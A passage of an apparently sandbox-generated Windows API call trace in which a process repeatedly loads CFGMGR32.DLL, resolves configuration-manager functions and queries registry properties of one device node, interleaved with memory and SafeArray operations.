0x7ffb1ceee9f0 [0230.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.540] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.540] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.540] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.540] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.540] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.540] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.541] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.541] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.541] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.541] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.541] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.541] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.541] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.542] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.542] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.542] malloc (_Size=0x18) returned 0x20abc2819e0 [0230.542] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0230.543] malloc (_Size=0x5a) returned 0x20abc280450 [0230.543] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc280450, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc280450, pulLength=0x2dc22fd3f8) returned 0x0 [0230.544] free (_Block=0x20abc280450) [0230.544] malloc (_Size=0x48) returned 0x20abc27cf80 [0230.544] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x452eb21a, dwHighDateTime=0x1d9eb0c)) [0230.545] SetEvent (hEvent=0x248) returned 1 [0230.593] malloc (_Size=0x18) returned 0x20abc281a80 [0230.593] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0230.593] free (_Block=0x20abc281a80) [0230.593] malloc (_Size=0x18) returned 0x20abc2819a0 [0230.593] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0230.593] free (_Block=0x20abc2819a0) [0230.593] malloc (_Size=0x18) returned 0x20abc281e00 [0230.593] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba79b58) returned 0x0 [0230.593] free (_Block=0x20abc281e00) [0230.593] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d1f0 [0230.593] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0230.594] SafeArrayGetLBound (in: psa=0x20abba7ffd0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0230.594] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0230.594] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba797f0 [0230.594] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0230.594] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0230.594] SafeArrayGetElemsize (psa=0x20abba7ffd0) returned 0x8 [0230.594] SafeArrayGetElement (in: psa=0x20abba7ffd0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0230.594] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba937b0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0230.594] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba937b8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0230.595] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba937c0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0230.595] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba797f0) returned 1 [0230.596] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d1f0) returned 1 [0230.596] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.596] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.600] malloc (_Size=0x18) returned 0x20abc281f00 [0230.600] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0230.600] malloc (_Size=0x48) returned 0x20abc27cb20 [0230.600] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4535d8a8, dwHighDateTime=0x1d9eb0c)) [0230.601] SetEvent (hEvent=0x248) returned 1 [0230.605] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.605] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.605] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.605] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.605] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.605] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.608] malloc (_Size=0x18) returned 0x20abc281fe0 [0230.609] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0230.613] malloc (_Size=0x48) returned 0x20abc27cf80 [0230.613] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x45383c8e, dwHighDateTime=0x1d9eb0c)) [0230.613] SetEvent (hEvent=0x248) returned 1 [0230.617] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.618] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.618] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.618] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.618] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.618] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.620] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.640] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.641] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.641] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.641] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.641] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.645] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.645] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.648] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.649] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.655] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.655] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.655] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.656] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.656] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.658] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.658] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.660] malloc (_Size=0x18) returned 0x20abc281e20 [0230.661] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0230.662] malloc (_Size=0x48) returned 0x20abc27cb20 [0230.662] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x453f4bf4, dwHighDateTime=0x1d9eb0c)) [0230.662] SetEvent (hEvent=0x248) returned 1 [0230.724] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.724] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.725] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.725] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.725] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.725] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.725] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.725] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.726] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.726] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.726] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.726] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.726] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.726] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.727] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.727] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.727] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.727] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.727] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.727] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.728] malloc (_Size=0x18) returned 0x20abc281d40 [0230.728] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0230.729] malloc (_Size=0x48) returned 0x20abc27cf80 [0230.729] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x45496b9e, dwHighDateTime=0x1d9eb0c)) [0230.729] SetEvent (hEvent=0x248) returned 1 [0230.734] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.734] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.735] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.735] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.735] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.735] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.735] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.735] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.738] malloc (_Size=0x18) returned 0x20abc282080 [0230.739] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0230.739] malloc (_Size=0x48) returned 0x20abc27cb20 [0230.739] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x454bcdea, dwHighDateTime=0x1d9eb0c)) [0230.740] SetEvent (hEvent=0x248) returned 1 [0230.746] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.746] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.747] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.751] malloc (_Size=0x18) returned 0x20abc281960 [0230.751] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0230.755] malloc (_Size=0x48) returned 0x20abc27cb20 [0230.755] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x454e32c4, dwHighDateTime=0x1d9eb0c)) [0230.756] SetEvent (hEvent=0x248) returned 1 [0230.761] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.761] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.761] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.761] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.762] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.762] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.762] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.762] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.762] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.762] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.763] 